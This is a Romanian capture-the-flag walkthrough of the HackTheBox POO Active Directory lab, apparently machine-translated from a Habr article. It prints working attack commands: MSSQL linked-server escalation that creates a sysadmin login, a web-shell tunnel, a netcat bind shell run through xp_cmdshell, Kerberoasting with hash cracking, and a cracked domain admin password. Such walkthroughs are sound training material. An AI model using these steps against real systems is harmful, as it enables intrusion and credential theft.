HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

În acest articol, vom analiza trecerea nu doar a unei mașini, ci a unui întreg mini-laborator de pe site HackTheBox.

După cum se precizează în descriere, POO este conceput pentru a testa abilitățile în toate etapele atacurilor într-un mediu Active Directory mic. Scopul este de a compromite o gazdă disponibilă, de a escalada privilegiile și, în cele din urmă, de a compromite întregul domeniu prin colectarea a 5 steaguri în acest proces.

Conexiunea la laborator se face prin VPN. Este recomandat să nu vă conectați de la un computer care funcționează sau de la o gazdă unde există date importante pentru dvs., deoarece intri într-o rețea privată cu oameni care știu ceva despre securitatea informațiilor 🙂

informatii organizatorice
Pentru a putea afla despre articole noi, software și alte informații, am creat Canalul Telegram и grup pentru a discuta orice probleme în zona IIKB. De asemenea, solicitările, întrebările, sugestiile și recomandările dvs. personale Voi arunca o privire și voi răspunde tuturor..

Toate informațiile sunt furnizate doar în scop educațional. Autorul acestui document nu își asumă nicio responsabilitate pentru orice daune cauzate cuiva ca urmare a utilizării cunoștințelor și metodelor obținute ca urmare a studierii acestui document.

Introducere

Acest joc final constă din două mașini și conține 5 steaguri.

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

De asemenea, sunt oferite descrierea și adresa gazdei disponibile.

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Hai să începem!

Steagul Recon

Această mașină are o adresă IP de 10.13.38.11 pe care o adaug la /etc/hosts.
10.13.38.11 poo.htb

Primul pas este să scanați porturile deschise. Deoarece este nevoie de mult timp pentru a scana toate porturile cu nmap, mai întâi o voi face cu masscan. Scanăm toate porturile TCP și UDP din interfața tun0 la 500pps.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Acum, pentru a obține informații mai detaliate despre serviciile care rulează pe porturi, să rulăm o scanare cu opțiunea -A.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Astfel, avem servicii IIS și MSSQL. În acest caz, vom afla numele DNS real al domeniului și al computerului. Pe serverul web, suntem întâmpinați de pagina de pornire a IIS.

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Să repetăm ​​directoarele. Folosesc gobuster pentru asta. În parametri specificăm numărul de fluxuri 128 (-t), URL (-u), dicționar (-w) și extensii care ne interesează (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Astfel, avem autentificare HTTP pentru directorul /admin, precum și fișierul de stocare al serviciului desktop .DS_Store disponibil. .DS_Store sunt fișiere care stochează setările utilizatorului pentru un folder, cum ar fi o listă de fișiere, locația pictogramei, imaginea de fundal selectată. Un astfel de fișier poate ajunge în directorul serverului web al dezvoltatorilor web. Astfel, obținem informații despre conținutul directorului. Pentru aceasta puteți folosi DS_Store crawler.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Obținem conținutul directorului. Cel mai interesant lucru aici este directorul /dev, din care putem vedea sursele și fișierele db în două ramuri. Dar putem folosi primele 6 caractere ale numelor de fișiere și directoare dacă serviciul este vulnerabil la IIS ShortName. Puteți verifica această vulnerabilitate folosind Scaner de nume scurt IIS.

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Și găsim un fișier text care începe cu „poo_co”. Neștiind ce să fac în continuare, am selectat pur și simplu din dicționarul directoarelor toate cuvintele care încep cu „co”.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Și repetați cu wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Și găsește cuvântul potrivit! Ne uităm la acest fișier, salvăm acreditările (judecând după parametrul DBNAME, acestea sunt din MSSQL).

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Predăm steagul și avansăm cu 20%.

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Huh steag

Ne conectăm la MSSQL, eu folosesc DBeaver.

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Nu găsim nimic interesant în această bază de date, să creăm un Editor SQL și să verificăm ce utilizatori sunt.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Avem doi utilizatori. Să ne verificăm privilegiile.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Astfel, nu există privilegii. Să vedem serverele legate, am scris despre această tehnică în detaliu aici.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Așa că găsim un alt server SQL. Să verificăm execuția comenzilor pe acest server folosind openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Și putem chiar să construim un arbore de interogări.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Cert este că atunci când facem o cerere către un server legat, cererea este executată în contextul altui utilizator! Să vedem ce context de utilizator rulăm pe serverul conectat.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Și acum să vedem în ce context se execută cererea de la serverul legat la al nostru!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Astfel, este un context DBO care trebuie să aibă toate privilegiile. Să verificăm privilegiile în cazul unei solicitări de la un server conectat.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

După cum puteți vedea, avem toate privilegiile! Să ne creăm administratorul astfel. Dar nu îi lasă să treacă prin openquery, să o facem prin EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

Și acum ne conectăm cu acreditările noului utilizator, observăm noua bază de date de steag.

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Predăm acest steag și mergem mai departe.

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Steagul înapoi

Să obținem shell-ul folosind MSSQL, folosesc mssqlclient din pachetul impacket.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Trebuie să obținem parole, iar primul lucru pe care l-am întâlnit deja este site-ul. Astfel, avem nevoie de o configurare a serverului web (este imposibil să aruncăm un shell convenabil, se pare că firewall-ul funcționează).

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Dar accesul este interzis. Deși putem citi fișierul din MSSQL, trebuie doar să știm ce limbaje de programare sunt configurate. Și în directorul MSSQL aflăm că există Python.

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Atunci nu este nicio problemă să citiți fișierul web.config.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Cu acreditările găsite, accesați /admin și ridicați steag.

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

steag de picior

De fapt, există unele inconveniente de la folosirea unui firewall, dar uitându-ne prin setările rețelei, observăm că se folosește și protocolul IPv6!

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Adăugați această adresă la /etc/hosts.
dead:babe::1001 poo6.htb
Să scanăm din nou gazda, dar de data aceasta prin IPv6.

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Și serviciul WinRM este disponibil prin IPv6. Să ne conectăm cu acreditările găsite.

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Există un steag pe desktop, predă-l.

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

P00ned steag

După recunoaştere pe gazdă cu mazăre nu găsim nimic special. Apoi s-a decis să caut din nou acreditări (am scris și eu pe acest subiect статью). Dar nu am putut obține toate SPN-urile din sistem prin WinRM.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Să executăm comanda prin MSSQL.

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

În acest fel, obținem SPN-ul utilizatorilor p00_hr și p00_adm, ceea ce înseamnă că aceștia sunt vulnerabili la un atac precum Kerberoasting. Pe scurt, putem obține hash-urile parolelor lor.

Mai întâi trebuie să obțineți un shell stabil în numele utilizatorului MSSQL. Dar din moment ce avem acces limitat, avem o conexiune cu gazda doar prin porturile 80 și 1433. Dar se poate face tunelul de trafic prin portul 80! Pentru aceasta vom folosi următoarea aplicație. Să încărcăm fișierul tunnel.aspx în directorul principal al serverului web - C: inetpubwwwroot.

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Dar când încercăm să-l accesăm, obținem o eroare 404. Aceasta înseamnă că fișierele *.aspx nu sunt executate. Pentru a face ca fișierele cu aceste extensii să ruleze, instalați ASP.NET 4.5 după cum urmează.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Și acum, când accesăm tunnel.aspx, primim răspunsul că totul este gata să meargă.

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Să începem partea client a aplicației, care va retransmite traficul. Vom redirecționa tot traficul de la portul 5432 la server.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Și folosim proxychains pentru a trimite traficul oricărei aplicații prin proxy-ul nostru. Să adăugăm acest proxy în fișierul de configurare /etc/proxychains.conf.

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Acum să încărcăm programul pe server netcat, cu care vom face un shell bind stabil, și scriptul Invocați Kerberoast, cu care vom efectua atacul Kerberoasting.

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Acum, prin MSSQL, lansăm ascultătorul.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Și ne conectăm prin proxy-ul nostru.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Și să luăm hash-urile.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Apoi, trebuie să iterați peste aceste hashe-uri. Deoarece rockyou nu avea un dicționar de date despre parole, am folosit TOATE dicționarele de parole furnizate în Seclists. Pentru enumerare folosim hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Și găsim ambele parole, prima în dicționarul dutch_passwordlist.txt și a doua în Keyboard-Combinations.txt.

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Și astfel avem trei utilizatori, mergem la controlerul de domeniu. Să aflăm mai întâi adresa lui.

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Grozav, am aflat adresa IP a controlerului de domeniu. Să aflăm toți utilizatorii domeniului, precum și care dintre ei este administrator. Pentru a descărca scriptul pentru a obține informații PowerView.ps1. Apoi ne vom conecta folosind evil-winrm, specificând directorul cu scriptul în parametrul -s. Și apoi încărcați doar scriptul PowerView.

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Acum avem acces la toate funcțiile sale. Utilizatorul p00_adm arată ca un utilizator privilegiat, așa că vom lucra în contextul său. Să creăm un obiect PSCredential pentru acest utilizator.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Acum toate comenzile Powershell în care specificăm Creds vor fi executate în numele p00_adm. Să afișăm o listă de utilizatori și atributul AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Și astfel, utilizatorul nostru este cu adevărat privilegiat. Să vedem din ce grupuri aparține.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

În cele din urmă confirmăm că utilizatorul este un administrator de domeniu. Acest lucru îi oferă dreptul de a se conecta de la distanță la controlerul de domeniu. Să încercăm să ne autentificăm cu WinRM folosind tunelul nostru. Am fost confuz de erorile emise de reGeorg când am folosit evil-winrm.

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Apoi folosim altul, mai ușor, scenariu pentru a vă conecta la WinRM. Deschideți și modificați parametrii de conexiune.

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Încercăm să ne conectăm și suntem în sistem.

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Dar nu există nici un steag. Apoi priviți utilizatorul și verificați desktopurile.

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

La mr3ks găsim steagul și laboratorul este finalizat 100%.

HackTheBoxendgame. Trecerea Laboratorului Operațiuni Ofensive Profesionale. Pentest Active Directory

Asta e tot. Ca feedback, comentați dacă ați învățat ceva nou din acest articol și dacă v-a fost util.

Ne poți alătura la Telegramă. Acolo puteți găsi materiale interesante, cursuri combinate, precum și software. Să adunăm o comunitate în care vor exista oameni care înțeleg multe domenii ale IT, apoi ne putem ajuta oricând reciproc în orice problemă IT și de securitate a informațiilor.

Sursa: www.habr.com

Adauga un comentariu